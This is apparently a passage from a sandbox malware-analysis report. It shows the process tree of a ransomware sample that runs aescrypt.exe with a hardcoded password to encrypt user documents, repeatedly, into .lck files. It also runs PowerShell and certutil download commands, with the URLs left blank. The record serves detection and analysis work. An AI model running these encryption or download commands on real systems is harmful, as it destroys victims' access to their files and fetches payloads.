                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Files.docx.lck.lck.lck" "Files.docx.lck.lck"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:5068
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "These.docx.lck.lck.lck.lck" "These.docx.lck.lck.lck"
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5084
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Are.docx.lck.lck.lck.lck" "Are.docx.lck.lck.lck"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:5100
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Recently.docx.lck.lck.lck.lck" "Recently.docx.lck.lck.lck"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5116
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Files.docx.lck.lck.lck.lck" "Files.docx.lck.lck.lck"
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:1448
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Opened.docx.lck.lck.lck.lck" "Opened.docx.lck.lck.lck"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:4112
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "LimitBackup.mpp.lck" "LimitBackup.mpp"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:4128
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "LimitBackup.mpp.lck.lck" "LimitBackup.mpp.lck"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:4156
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "LimitBackup.mpp.lck.lck.lck" "LimitBackup.mpp.lck.lck"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:4180
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "LimitBackup.mpp.lck.lck.lck.lck" "LimitBackup.mpp.lck.lck.lck"
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:4192
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TraceSave.xlsm.lck" "TraceSave.xlsm"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:4220
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TraceSave.xlsm.lck.lck" "TraceSave.xlsm.lck"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:4244
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TraceSave.xlsm.lck.lck.lck" "TraceSave.xlsm.lck.lck"
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:4256
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TraceSave.xlsm.lck.lck.lck.lck" "TraceSave.xlsm.lck.lck.lck"
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:4284
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TestOptimize.ppsx.lck" "TestOptimize.ppsx"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:4308
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TestOptimize.ppsx.lck.lck" "TestOptimize.ppsx.lck"
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:4320
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TestOptimize.ppsx.lck.lck.lck" "TestOptimize.ppsx.lck.lck"
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:4348
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TestOptimize.ppsx.lck.lck.lck.lck" "TestOptimize.ppsx.lck.lck.lck"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:4372
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NewMeasure.vstx.lck" "NewMeasure.vstx"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:4384
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NewMeasure.vstx.lck.lck" "NewMeasure.vstx.lck"
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:4412
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NewMeasure.vstx.lck.lck.lck" "NewMeasure.vstx.lck.lck"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:4436
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NewMeasure.vstx.lck.lck.lck.lck" "NewMeasure.vstx.lck.lck.lck"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:4448
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AssertDebug.xlsm.lck" "AssertDebug.xlsm"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:4476
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AssertDebug.xlsm.lck.lck" "AssertDebug.xlsm.lck"
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:4500
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AssertDebug.xlsm.lck.lck.lck" "AssertDebug.xlsm.lck.lck"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:4512
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AssertDebug.xlsm.lck.lck.lck.lck" "AssertDebug.xlsm.lck.lck.lck"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:4540
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExpandConfirm.dotx.lck" "ExpandConfirm.dotx"
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:4564
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExpandConfirm.dotx.lck.lck" "ExpandConfirm.dotx.lck"
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:4576
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExpandConfirm.dotx.lck.lck.lck" "ExpandConfirm.dotx.lck.lck"
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:4604
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExpandConfirm.dotx.lck.lck.lck.lck" "ExpandConfirm.dotx.lck.lck.lck"
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:4624
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartProtect.wps.lck" "StartProtect.wps"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:4640
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartProtect.wps.lck.lck" "StartProtect.wps.lck"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:4668
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartProtect.wps.lck.lck.lck" "StartProtect.wps.lck.lck"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:4692
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartProtect.wps.lck.lck.lck.lck" "StartProtect.wps.lck.lck.lck"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:4704
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RenameCompare.mpp.lck" "RenameCompare.mpp"
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:4720
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RenameCompare.mpp.lck.lck" "RenameCompare.mpp.lck"
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:4748
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RenameCompare.mpp.lck.lck.lck" "RenameCompare.mpp.lck.lck"
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:4772
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RenameCompare.mpp.lck.lck.lck.lck" "RenameCompare.mpp.lck.lck.lck"
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:4784
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartInitialize.pub.lck" "StartInitialize.pub"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:4812
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartInitialize.pub.lck.lck" "StartInitialize.pub.lck"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:4828
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartInitialize.pub.lck.lck.lck" "StartInitialize.pub.lck.lck"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:4852
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartInitialize.pub.lck.lck.lck.lck" "StartInitialize.pub.lck.lck.lck"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:4876
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyBackup.vstm.lck" "DenyBackup.vstm"
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:4900
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyBackup.vstm.lck.lck" "DenyBackup.vstm.lck"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:4916
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyBackup.vstm.lck.lck.lck" "DenyBackup.vstm.lck.lck"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:4944
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyBackup.vstm.lck.lck.lck.lck" "DenyBackup.vstm.lck.lck.lck"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:4972
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                      powershell.exe -c (new-object System.Net.WebClient).DownloadFile('','')
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                      PID:4984
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                      powershell.exe -c Invoke-WebRequest -Uri -OutFile
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                      PID:4100
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\certutil.exe
                                                                                                                                                                                                                                                                                      certutil -urlcache -split -f
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:4316
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:4380
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck" "desktop.ini"
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:4404
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "WriteAdd.pptx.lck" "WriteAdd.pptx"
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:4416
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SelectReset.ADT.lck" "SelectReset.ADT"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:4460
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "InitializeRestart.rar.lck" "InitializeRestart.rar"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:4484
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SaveSkip.mp2.lck" "SaveSkip.mp2"
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:4496
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "GrantConvert.wvx.lck" "GrantConvert.wvx"
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:4524
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AssertGrant.M2TS.lck" "AssertGrant.M2TS"
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:4548
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AssertUnprotect.emf.lck" "AssertUnprotect.emf"
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:4580
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "UnpublishUnregister.wps.lck" "UnpublishUnregister.wps"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:4592
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RegisterSend.mpeg.lck" "RegisterSend.mpeg"
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:4620
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "JoinEnable.edrwx.lck" "JoinEnable.edrwx"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:4656
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResetGet.edrwx.lck" "ResetGet.edrwx"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:4672
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SaveRequest.asx.lck" "SaveRequest.asx"
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:4764
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "BlockSend.ps1.lck" "BlockSend.ps1"
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:4800
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SyncComplete.txt.lck" "SyncComplete.txt"
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:4816
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartResume.kix.lck" "StartResume.kix"
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:4836
                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "UseMeasure.edrwx.lck" "UseMeasure.edrwx"
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:4864
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ConvertFromGroup.tif.lck" "ConvertFromGroup.tif"
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:4888
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
